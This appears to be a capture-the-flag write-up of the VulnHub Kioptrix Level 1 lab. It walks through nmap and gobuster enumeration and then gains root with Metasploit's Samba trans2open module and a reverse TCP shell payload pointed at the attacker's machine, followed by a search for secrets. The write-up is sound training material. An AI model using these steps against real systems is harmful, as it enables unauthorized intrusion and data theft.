

CTF Write-Up: Kioptrix Level 1 (VulnHub)

Target IP: [TARGET_IP]

Attacker IP: [KALI_VM_IP]

Goal: Obtain Root access on an unpatched legacy Linux system.

I. Technical Preparation (Troubleshooting)

Before beginning the exploitation, I encountered a connectivity issue where the target machine was not appearing on the network.

- **The Problem:** The original .vmx configuration used a bridged network adapter, which conflicted with my lab environment.
 - **The Solution:** * I manually edited the .vmx file using Notepad to remove all legacy ethernet0 instances.
 - I reconfigured the VM settings to use a **NAT** adapter.
 - After restarting, I verified the connection using `arp-scan -I` to successfully identify the target's IP.
-

II. Reconnaissance & Enumeration

Service Scanning

Using nmap, I performed a comprehensive service scan to identify unpatched software and versions. `sudo nmap -sV -sC [TARGET_IP]`

Key Findings:

- **Apache 1.3.20 (mod_ssl 2.8.4):** A legacy web server vulnerable to the "OpenFuck" exploit.
- **Samba 2.2.1a:** A file-sharing service vulnerable to the "Trans2Root" (trans2open) buffer overflow.

Web Discovery

I used **Gobuster** to find hidden management directories that might provide business intelligence or entry points. `gobuster dir -u http://[TARGET_IP] -w /usr/share/wordlists/dirb/common.txt`

- **Result:** Discovered the /mrtg/ (Multi Router Traffic Grapher) directory.

- **Pentesting Value:** In a real-world scenario, this page provides a "map" of internal network traffic, helping an attacker identify more valuable targets.
-

III. Exploitation (The "Root" Plan)

Vulnerability Selection

I chose to target **Samba 2.2.1a** via the trans2open exploit.

- **Why:** This vulnerability allows for a buffer overflow that grants immediate **root** access because the Samba service runs with high privileges on this machine.

Execution via Metasploit

I utilized the Metasploit Framework to deliver the payload.

1. **Module:** exploit/linux/samba/trans2open
 2. **Payload:** linux/x86/shell_reverse_tcp
 - Note: I used a "non-staged" payload for better stability on this older Linux kernel.
 3. **Configuration:** * set RHOSTS [TARGET_IP]
 - set LHOST [KALI_VM_IP]
 4. **Exploit:** Ran the module, which successfully opened a root shell session.
-

IV. Post-Exploitation & Analysis

Upon gaining root access, I verified the identity using the whoami and hostname commands.

- **Data Retrieval:** I performed a search for internal communications and logs to find "Level 2" secrets or passwords.
- **System Monitoring:** I observed LogWatch automated emails from April 2026, which were reporting my exploit activity to the system administrator.
- **Summary:** This lab successfully demonstrated the full **Kill Chain**: from Reconnaissance and Weaponization through to Actions on Objectives.